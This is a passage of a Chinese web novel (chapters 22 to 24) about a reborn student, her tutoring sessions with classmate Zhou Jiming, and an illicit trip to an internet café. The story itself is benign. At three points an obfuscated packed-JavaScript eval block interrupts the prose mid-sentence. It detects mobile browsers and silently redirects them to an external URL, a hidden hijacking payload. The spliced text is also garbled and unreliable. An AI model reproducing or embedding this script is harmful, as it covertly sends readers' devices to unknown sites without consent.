以此，刻意营造出这场"戏弄"从头到尾都是他精心策划的假象，继而能保全自己的颜面。 但她没有接招。 那条短信，她到现在都没有回复。 对他，更是躲躲闪闪。 他非常不喜欢这种感觉。 不正面拒绝意味着同情，回避意味着怜悯。 他痛恨这种被人居高临下审视的感觉。 他决定后面找机会和她“澄清”一下—— 近期他的告白和“申请当备胎”的言论，不过是他“演的”一出戏，目的是报复她举报自己泡网吧这件事。 他正想得出神，冷不防被程望舒一句话扯回现实： “既明，我们的学习互助小组怎么安排？我好像没什么能教你的，倒是你能帮我不少。” “啊？”他怔了一瞬，随即敛起神情，“每天放学后留半小时，我给你梳理物理和数学的核心题型，同时布置一些针对性练习。晚自习你做完后，我当场批改和讲解。” 昨天临时起意与程望舒结成学习互助小组后，他特意翻出这次考试成绩单查看。 程望舒的成绩出奇的均衡，大多数科目都稳居中上游，唯独数学和物理差得离谱，连及格线都遥不可及，硬生生拖垮了总分。 既是他主动抛出的橄榄枝，纵使初衷是为了给自己找挡箭牌，也该认真对待对方。 因此他早已做好细致的规划，连配套题库都准备妥当。 数学练习就从《题典》里面找，物理练习则从他自行购买的一本练习册里面找。 听到周既明如此周密认真的计划，苏棠十分懊恼。 当初就该直接回绝顾野。 她何时才能改掉这说话的毛病？总是先假意应承，再找些冠冕堂皇的理由推脱。 这是她在成人世界习得的坏习惯，重生以后却没来及改正。 “那个，你们介意我们也跟着留下听吗？”她弱弱地问道。 前排两人闻声回首，齐刷刷向她投来探询的目光。 “额，我觉得我不太会辅导人，我怕耽误顾野......”她不知道怎么解释，于是决定把顾野也拉下水。 “啊？”原本趴在桌上小憩的顾野，听到自己的名字被提及，猛地直起身子，一脸茫然地环顾几人。 “可以吗？”苏棠朝周既明投以祈求的眼神。 她急需周既明的辅导。 她必须在下次考试重回巅峰，才有资本向周书瑶提出家长会请假的请求。 如果再像这次一样惨败的成绩，周书瑶绝对不会对她网开一面。 所以，虽然面对“要当她备胎”的周既明很是尴尬，她都不能放过这个机会。 况且他要讲的还是她这次考得最差的数学和物理。 周既明一脸狐疑，沉默片刻后开口：“我无所谓，不过批改练习得你们自己来。” “可以可以。”苏棠使劲点头，一副喜上眉梢的样子。 一旁的顾野见状也对周既明说：“那就麻烦你了，既明。” * 下午放学后，三人围绕着周既明，手握笔，正襟危坐，神情肃穆。 “你们干嘛这么严肃，我怎么讲？”周既明被这几个人过分严肃认真的样子弄得有点发怵。 “这不是对您表示尊重吗？”苏棠恍惚间像是回到重生前，不自觉用上了当初对待成人周既明的语气。 程望舒捂嘴笑。 周既明无奈翻了个白眼，随即拿出一张试卷和一张白纸。 “今天我们先解决物理，刚好上午物理老师讲了试卷。”他顿了顿，望了眼苏棠又收回视线。 他指尖轻点卷面：“就像老师强调的，我们得学会从错题反推知识点......我还有个独门秘籍，叫思维导图分析法。” 他在白纸上画了起来。 原来，早在高中，他就已经掌握这个技能，苏棠心里想。 “我知道！是不是这个？”程望舒突然打断周既明，从书包里抽出一沓复印纸——那是苏棠之前为她复印的思维导图笔记。 周既明接过复印纸，目光落在纸上。 那字迹与苏棠试卷上的笔迹如出一辙，他下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180876|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识抬眼望向苏棠。 苏棠敏锐地察觉到周既明的视线，连忙解释：“这是我考试前整理的，但是我感觉没什么用，我还是考砸了。” 周既明逐页翻看那沓笔记，良久才抬头。 “做得很好，非常全面，”他指尖轻点着纸张上的思维导图，“不是没用，只是还差一点。” 还差哪一点？她明明都已经把最小的知识点都画上了。 “哪一点？”她追问道，手指不自觉地攥紧了衣角。 这可关乎她下次考试的生死存亡。 “每个知识点对应的母题。”周既明把手中的复印资料放下。 “母题？”其余三个人面面相觑，对这个陌生名词露出困惑的表情。 周既明嘴角露出一丝若有若无的笑意：“你构建的思维导图已经搭建了这个学科完整的知识框架，这对于你理解这门学科其实已经非常充分了。 但高中学习除了掌握知识，还要应对考试，也就是我们常说的应试教育，所以除了掌握概念和知识框架以外，我们还需要做一个服务考试的动作——积累每个知识点对应的经典母题。” 苏棠听着周既明的解释，明白了所谓“母题”的含义。 大概就是那些仅针对单一知识点的经典题型。 “那具体需要怎么做？”苏棠问道。 周既明举起一张思维导图，指尖点在树状图最末端的节点上：“我们可以在这个框架上，给每个最小知识点单元标注序号。” 他顺着枝干向上滑动手指：“画学科导图导图要遵循模块、概念、知识点的层级，挡拆解到最小知识点后，再做三件事。” “哪三件？”其余三人异口同声地问。 周既明似乎对他们的反应颇为受用，慢条斯理地解释：“第一，为每个编号的最小知识点单元建立母题库。” 他顿了顿，“所谓母题，就是仅针对该知识点的经典题型，必须纯粹到不含其他知识点的干扰。” 苏棠完全理解到位。 周既明的目光缓缓扫过三人，继续道：“第二件事，拆解综合题型。弄清楚母题是如何组合成综合题型。记住这些组成方式，这是出题人的出题思路，会直接影响我们的解题策略，相当于考题的脉络。” 考题的脉络，实在是过于准确的形容。 他的表述能力实在是，令人叹为观止。 她实在想不通，明明有着如此缜密的逻辑表达能力，为何他的语文成绩总在及格线上挣扎。 “最后一件事呢？”她迫不及待地问道。 “最后一件事，”周既明用手指敲了敲桌面，“就是物理老师今天课上说的错题分析，我称之为错题库建设。” 他转身拿了一支红笔，在思维导图上画起了连线，“如果右边这个是错题，我们就把这道题所涉及的知识点编号全部标注上。一张试卷标注完后，我们就可以统计每个知识点的错误频率，就能精准定位薄弱环节。” 简单三步，把知识点和试卷完美连接起来，苏棠恍然大悟。 正是缺少这关键的后续步骤，才导致她考试时明明什么都记得，却始终无从下笔。 周既明话音刚落，程望舒就投以崇拜的眼神，“既明，你可以把你的思维导图笔记分享给大家吗？我可以拿回家复印。” “不好意思，我从来不做这玩意，或者说我都在脑子里面画好了。” 苏棠偷笑。 又给他装到了。 23. 第二十三章 就这样，两人的学习互助小组悄然扩充成四人联盟。苏棠一心扑在学习上，每次和周既明交谈始终围绕着习题和知识点打转。见她如此专注学业，周既明也不好再提当初那个当“备胎”的玩笑。 五月就在这样浓厚的学习氛围中悄悄到来。 这期间，苏棠除了备战期中考试，还抽空去了几次网吧。原因无他，她只有去网吧才能网购。从2022年重生回来的她，鲜少出门购物的经验，一想到购物，本能反应就是网购。 她给自己买了几套新衣服，却发现全部都不合身。 “啊，又买大了。”她从宿舍厕所走了出来，拎着空荡荡的衣摆往下扯了扯，下沿都快要垂到膝盖了。 可尺码不该出错啊。 自打上高中后，她身高就没怎么变化，体重也和成年后相差无几。怎么网购的衣服会大出这么多？ “我看看。”程望舒见她试衣服试得烦躁，上前查看她身上那件衣服的尺码标，“你买XL，那肯定大啊。你这身形，最多穿L，我觉得M都可以。” “M？M码都是小孩姐穿的。”苏棠脱口而出。 然后突然间意识到什么。 不是她体型变了，而是衣服的尺码标准变了。 2012年的衣服尺码还是按照正常人体标准制作的，不像2022年那样普遍缩水。 程望舒：“什么是小孩姐。” “胡说的。”这个词也是未来世界的产物，苏棠打哈哈糊弄过去。 程望舒近来已经习惯苏棠时不时蹦出的古怪新词，也不想深究，话锋一转：“周末我陪你去批发市场买衣服吧。” “那我买的这些呢？”苏棠一脸迟疑地望向程望舒。 “退了啊。”程望舒理所当然地说。 看来又要去一次网吧了。 由于网购退货有严格的时间限制，而程望舒月考后手机被家里没收，她只能硬着头皮找周书瑶请假，冒险去一趟网吧。 “请假做什么？再过两天就放假了，有什么事不能等到周末处理吗？”周书瑶一改往日对苏棠的宽松态度，语气徒然严厉起来。 苏棠无奈只能抱着试一试的心态和周书瑶说了实话。 “网购退货？”周书瑶脸色骤然沉了下来，“你又要去网吧？不行。” “可是，这样我的钱就拿不回来了。”苏棠哀求道。 买这几套衣服可是花了一笔巨款。 “午休的时候来我宿舍，”周书瑶转向电脑继续处理工作，头也不抬地补了一句，“用我宿舍的电脑退货。” 苏棠：“好。” 她蔫蔫地走出办公室，倒不是因为网购退货的事。而是周书瑶严厉的态度，让她觉得家长会请假的事难度很高。 必须要在期中考试考出比从前全班第一更亮眼的成绩，最好是能冲进全年级前三，才有可能让周书瑶收回让许春梅参加家长会的决定。 上午的课没啥意思，苏棠都用来收集错题库。 经过这段时间周既明的“特训”，她在学习上突飞猛进。她私下找了两套真题，严格按照考试时间自行测试了一下。虽然测试结果距离高中巅峰状态还有差距，但重回班级前三已经不成问题。 吃完午饭后，她向程望舒简单说明情况，独自从操场侧门溜出，直奔后方的教职工宿舍区。 黎城一中高中部的教职工宿舍区和校园主体被一条市政道路隔开，这条非校方管辖的马路边常年聚集着流动商贩，成了学生们溜出后门打牙祭的秘密据点。 学校对此也是束手无策，教职工从学校正门绕行宿舍区路途实在太远，这个后门在白天变成了默许的灰色通道，只有在晚自习结束后才会被锁上。所以校方只能加强每日清点人数的制度，以此来掌握学生的在校情况。 她穿过这条油烟缭绕的流动摊贩街。 这条小街并不大，被流动摊贩挤占后，连辆小轿车都难以同行。 不一会，她来到教职工宿舍区的铁栅门前。 “阿叔，开一下门，我找老师。”她向铁门后的门卫室里喊去。 门卫室的窗户被打开，从里面探出一个光头，“你老师叫什么？” “周书瑶。” “3栋3A。” 随即铁门被打开。 苏棠在周书瑶的注视下，完成了从登录购物网站到申请退款再到安全退出的全套操作。 看来是不太信任她啊。 也是，就像“狼来了”的故事那样，是她自己一点点透支周书瑶给她的信任。 也怪不了任何人。 完成退款后，她火速离开了周书瑶的宿舍。 临走前，周书瑶还警告她：“直接回学校，别到处乱走。” “知道。”她应声回复。 在下次家长会之前，她都会夹着尾巴做人，不敢再惹出什么事端来。 出了宿舍区大门，她径直走向操场侧门旁的流动摊：“老板，来份糖炒栗子。” 盯着铁锅里翻滚的栗子，心里盘算着下午体育课和程望舒一起吃。 突然，侧门吱呀一声被推开。 她吓得差点跳起来，以为是学校的老师。却在定睛一看后，发现是周既明。 周既明和她四目相对，脸上也写满了震惊。 大概是没想到会在这里看见她。 “你去哪儿？” 见周既明径直朝她反方向走去，丝毫没有打招呼的意思，她大声喊道。 对方没有回头。 恰好这时，糖炒栗子好了。 她一把抓过摊主递来的牛皮纸袋，顾不上烫手，小跑着追上已经走出几米远的周既明。 只见他停在两个摊位的电线杆旁，正从杂物堆里推出一辆老旧的电动摩托车。 “这是谁的车？”她下意识问道。 周既明漠然讲要是插入锁孔，跨上摩托，连眼神都未偏移半分：“我的。” 那声音冷淡得好像在和一个陌生人说话。 他最近对她，总是带着一种刻意的疏离和冷淡。 苏棠觉得，这是他心灰意冷的一种表现。 她至今都没回复他那条“自愿当备胎”的短信，平时相处也刻意避开这个话题，只把他当成一般要好同学对待。 他肯定很生气，因为这相当于给他发了张好人卡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180877|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周既明拧动车钥匙，电动摩托车发出轻微的嗡鸣。他身子微微前倾，随后侧首扫了苏棠一眼：“还不回去？” “你去哪里啊？”苏棠一把拽住电动车尾架，牛皮纸袋里的栗子随着她过分用力的动作被震得哗啦作响。 “放手，我赶时间。”他语气平淡却又异常坚决。 他再次拧动车钥匙，双手紧握车把，作势要离开。 苏棠见装猛地跃起，直接跨坐在了电动车后座上。 她跃上后座时冲劲过猛，整个人重重撞在周既明背上。 周既明突然感到一团温软撞上后背，刚想转头骂人，却在意识到触感来源的瞬间僵在原地。 “那我也去。”背后传来苏棠倔强的声音。 她为何总是这样反复无常？ 明明都已经把他划入普通同学的界限，变相给他发了“好人卡”，现在这般逾距的举动又算什么？ 他甚至都已经放弃挽回颜面，坦然接受追求失败的结局，刻意和她保持着疏远的距离，她却好似完全意识不到一般。 难不成，她真把他当备胎？ 他胸口腾起一股灼热的屈辱感。 眼神里闪过一丝狡黠。 那就让备胎带你游车河吧。 他猛地拧动油门，电动车突然窜了出去。苏棠猝不及防，手里的牛皮纸袋脱手飞出，糖炒栗子哗啦撒了一地。 “我糖炒栗子！“苏棠在后座急得大喊。 他充耳不闻，反而猛地加速，吓得她立刻死死搂住他的腰。 这阵子他太顾及她的感受了！ 想着她或许是不好意思直接拒绝，才迟迟不表态却保持友好往来。 如今看来，她分明是个情场高手，把他当作鱼塘里的一条鱼罢了。 “坐稳了。”他对身后的人警告道，话音未落又猛地提速。 电动摩托车驶出那条挤满流动摊贩的街道，朝着跨海大桥的方向疾驰而去。咸湿的海风迎面扑来，吹得苏棠的刘海胡乱飞舞。 “我——们——去——哪——里——啊？” 苏棠在车后座扯着嗓子喊道，每个字都拖得老长，因为如果不这样的话，她的话大概率会被呼啸的海风淹没。 “去——网——吧。”周既明的声音被风从前座吹来。 去网吧？大中午不午休去网吧？ 难道又有高价代练？ 才被学校处罚多久，他怎么敢的啊？ 难不成是因为缺钱？ 苏棠心中诸多疑问，她准备开口询问，却被呼啸的海风堵了回去。 电动摩托车缓缓驶上跨海大桥的专用车道。 桥下是深蓝色的海面，在烈日下泛着细碎的波光。车流在身旁呼啸而过，引擎声和海浪声混在一起。 她才注意到自己的双臂不知何时环在周既明腰间，指尖无意识地攥紧他衬衣的下摆。 虽然觉得这般亲昵的姿势有些唐突，可是对方也没有出声制止，她便也佯装自然地维持着这个姿势。 她察觉到心底泛起一丝异样的涟漪，既带着激动又透着刺激，恍惚间竟像是与黑骑士一同奔向未知的冒险。 24. 第二十四章 周既明确实是接到了高价代练的单子。 他们一同进了网吧。那个黄毛青年依然在收银台后泡着泡面，整个场景与苏棠第一次来的时候别无二致。 “两百块，开两台。”周既明从兜里掏出两张红色大钞，递给了黄毛青年。 “押金就要两百。”黄毛青年抬眼瞥了他们一眼，依然不紧不慢地搅拌着泡面。 “这是我的身份证，我成年了，一百是押金，一百是预付。”说着，周既明又递过去自己的身份证，动作熟稔得像演练过千万遍。 他什么时候成年了？ 待黄毛青年登记完毕，将身份证递还回来时，苏棠顺势接了过来。 她的指尖掠过证件上那张初显棱角的证件照——介于少年青涩与成年坚毅之间的面容，然后停在一旁的出生日期上：1994年5月1日。 她知道周既明的生日恰好在劳动节这一天，重生前她还总调侃他“生来就是劳碌命”。 可她却始终记不清他究竟是94年还是95年生，因为她自己是95年的，总是下意识把同龄人都当成95年的。 苏棠内心忏悔了一下，她不该这么对他的，连18岁成人礼都给他添堵。 这些天，她始终装作若无其事，像对待普通同学一样与他相处。每当他欲言又止想要提起什么，她总是把话题转移到学习上。 在不确认自己的感情之前，她选择了逃避，暂时的逃避。 这是她从未来学到的成人专属技能，逃避可耻但有用。 她已经完全适应了重生后的生活，甚至重新找回了当年作为高中生的状态。最近，她甚至开始刻意模仿记忆里那个低调谦逊的自己，不再像刚重生时那样横冲直撞、锋芒毕露。 低调和隐忍早已成为她的保护色，即使重活一世，她也不愿跳出这个舒适圈。 “还是38台和39台。”收银台的黄毛青年递来两张卡。 周既明接过卡片转身，却见苏棠怔在原地，目光凝视着自己身份证上的照片，手指还在上面无意识地摩挲。 “怎么？被我的帅气震撼到了？”他抬手在她眼前晃了晃，嘴角勾起一抹戏谑的弧度，“那既然这样，为什么不和我在一起？” 他决定主动出击，打破这些天两人之间尴尬的平衡。 “啊？又提这个？”苏棠拿着身份证默默转身，看都没看他一眼，朝着之前他们一起坐的那个位置走去。 看来，她这些天只是在逃避。 周既明跟了上去，伸手一拦：“身份证还我。” “哦哦。”苏棠如梦初醒般抬起了头，慢半拍地将身份证递过去。 周既明一把抽回身份证，利落地塞进裤袋，大步流星地从苏棠身边擦过。 经过时，他用力揉了揉她的发顶，丢下一句：“犯困就别跟着来啊。” 既然她不正面回应自己，甚至还假装他们只是同学关系，那他也假装暧昧是被她许可的，反正她从来没有明确拒绝过他，还借着同学的名义接近自己。 苏棠的刘海被揉得乱糟糟的，几缕过长得发丝刺进眼角，轻微的眼角不适让她连忙伸手去拨弄。 她一边整理着刘海，一边朝之前那台机子走去。 周既明已经坐下开机，正在登录游戏界面。 刚刚下车，她就问这次代练价格多高，他顾左右而言他。但看他这样着急忙慌的样子，估计报酬相当可观。 “你这代练要做到什么时候啊？你这么缺钱吗？”她坐下后将座椅稍稍往周既明处靠，目光恳切地望向他。 周既明正准备戴上耳机，游戏已经在准备阶段，看到她如此认真的样子，回了一句：“一直打到我能通过其他方式赚钱。” 随后进入了紧张的游戏中。 他就这么缺钱吗？ 即便是母亲离世，父亲成立了新家庭对他疏于照顾，但据她后来所了解的，他的经济状况不至于这么拮据。 她之前去周既明家里时，与他外公私下聊过家庭经济状况。 周既明母亲生前购买了高额的寿险，赔付金足以覆盖他从高中到大学毕业的全部开销，更何况他外公的退休金也相当可观。即便他父亲给的生活费时有时无，也实在不该让他拼命至此。 苏棠一边思索，一边点开购物网站的页面。 刚在周书瑶宿舍电脑退掉了不合身的衣服时，她看到之前关注的几款手机配件降价了。碍于周书瑶坐在她旁边盯着屏幕，她只能强忍着没点加购。 她把那几款之前就看中的配件加入购物车，每样数量都直接拉至50，迅速完成付款后，果断关闭了网购页面。 她扭头瞥了眼周既明的战况。 游戏刚进行到一半，双方剩余的防御塔数量不相上下，但他的战绩却是1/15，简直杀疯了。 重生前，她并不知道他还会打游戏。 毕竟从来没见他玩过。 想来游戏对他而言，不是消遣，只是一种赚钱工具。 大学期间，周既明在赚钱上更加疯狂且手段更多元。 他周末往返于学校和富豪别墅做高端家教，同时运营着承接网页设计和软件开发的网店。除了必修课和偶尔与苏棠、程望舒的聚会，其余时间全被折算成收入数字。 她一度以为，他是介意程望舒富家女的身份，才这般疯狂赚钱想拉近两个人的距离。因为他这疯狂的赚钱日常，在大三下学期戛然而止，当时正是他和程望舒关系破裂的时候。 但现在看来，他赚钱的原因并不是因为程望舒。 毕竟，现在的他都还没喜欢上程望舒，甚至还喜欢上了自己。 那他究竟是为什么这么拼命挣钱呢？ 她托腮凝视着周既明的侧脸，思绪纷飞。 游戏胜利了。 周既明因为游戏高度紧绷的身体瞬间松弛了下来，他轻轻舒了一口气，靠在了身后的靠椅上。 他察觉到苏棠的目光，斜睨了她一眼，“干嘛，迷上我了吗？” 他今天是怎么回事？语气这么轻佻。之前的可怜小狗不复存在，变成了傲娇小狗的模样。 苏棠没好气地白了他一眼，转瞬又好奇地打探到：“这把值多少钱？” 周既明垂着头，额前碎发下，嘴角明显上扬。他抬起一只手，拇指食指一错，比出个“八”的手势。 八百，怪不得他会冒险出来。 她刚刚进了那么多货也才五百多。 他这么大的买卖，怕是看不上自己这点小本生意了。 苏棠刚刚加购完商品，一个酝酿已久的念头得到了确定，她想要拉上周既明一起去摆摊，不要再做游戏代练了。 她倒不是担心游戏代练会影响他的学业，只是害怕之前霸凌他的人会再次纠缠上来。 只要他还混迹在这些灰色场所，就随时可能被那些人盯上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180878|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人各自倚在靠椅里，谁都没碰眼前的电脑。屏幕闪烁的蓝光映得他们的脸忽明忽暗，如同海浪般拍打着他们的沉默。 “那个......” “你......” 两人几乎同时转身开口。 “你先说吧。”苏棠觉得自己的提议可能会被拒绝，让对方先说。 “你知道中年阿姨们一般都喜欢什么礼物吗？我想送份礼。”周既明问道。 中年阿姨？ 苏棠瞬间警觉，他该不会是被哪个年上姐姐迷住了吧？这么拼命赚钱，难道是被对方当“水鱼”了？ 但这个念头实在荒谬。重生前他与程望舒决裂后，身边除了自己就在没出现过其他异性，怎么会在高中喜欢上什么中年阿姨。 但他母亲已经去世了，他要送礼给谁？ “多大年纪？”她警觉地问道。 “可能四五十？”周既明回复。 四十五，那绝无可能了，他不是这种变态。 苏棠舒了一口气，继续问道：“你是什么场合送？” “我朋友妈妈住院了，我想买个礼物带点水果去看望一下。”周既明语气稀松平常。 苏棠看着他坦荡的神情，悬着的心终于落下了，“探病的话，买点补品？” “什么补品？”周既明追问。 “什么燕窝之类的，滋补的？” 苏棠其实不太懂探病的讲究，只记得当初许春梅住院时，有人送来过人参燕窝之类的补品。 后面全给她吃了，还蛮好吃。 但周既明眉头紧蹙，显然对她这个提议不太赞同。 燕窝不太合适，周既明心里想。 当初医生特意叮嘱他母亲，乳腺癌不能随便吃补品，特别是燕窝这种富含雌激素的补品。文杰母亲也是乳腺癌，虽然只是中期，按理说也是不能吃的。 他前阵子收到文杰的短信，让下次把钱直接送到黎城中心医院，看来应该是重新住院了。 “不如送人参？不过可能贵了点。” 苏棠又小声补充道，手指无意识卷着衣角，这是她思维卡壳时的习惯性动作，周既明最近才注意到。 看来她没有什么探病送礼的经验。 他低笑一声，朝她摆摆手示意自己考虑，转身就要去点电脑上的下机结算键。 却在转身的瞬间，瞥见苏棠的电脑屏幕上跳出一行冻结提示。 这是网管设置的暗号，一旦有巡查，就会立即冻结所有临时卡开的机器。 他猛地起身攥住苏棠手腕，贴着她耳际低声说了句：“走！” 不等她反应，便拽着人闪进身后男厕，推开虚掩的暗门，两人消失在网吧后巷的尽头。 冲出巷子后，他仍攥着她的手腕狂奔。 “要......要跑这么远吗？”苏棠喘得几乎说不出完整句子。 此刻她才终于相信周既明之前的解释都是真的，刚才得电脑冻结她也看到了，之前确实不是周既明故意搞的鬼。 “跑，谁让你穿着校服。”周既明头也不回地喊道，声音里却带着掩不住得笑意。 苏棠被他拽着手狂奔，眼前是他飞荡着的浅灰衬衫后衣摆。 恍惚间竟有种置身青春热血漫画场景的错觉。 她加快速度追了上去，与他并肩时，侧过头冲他粲然一笑。 那就一起跑下去吧！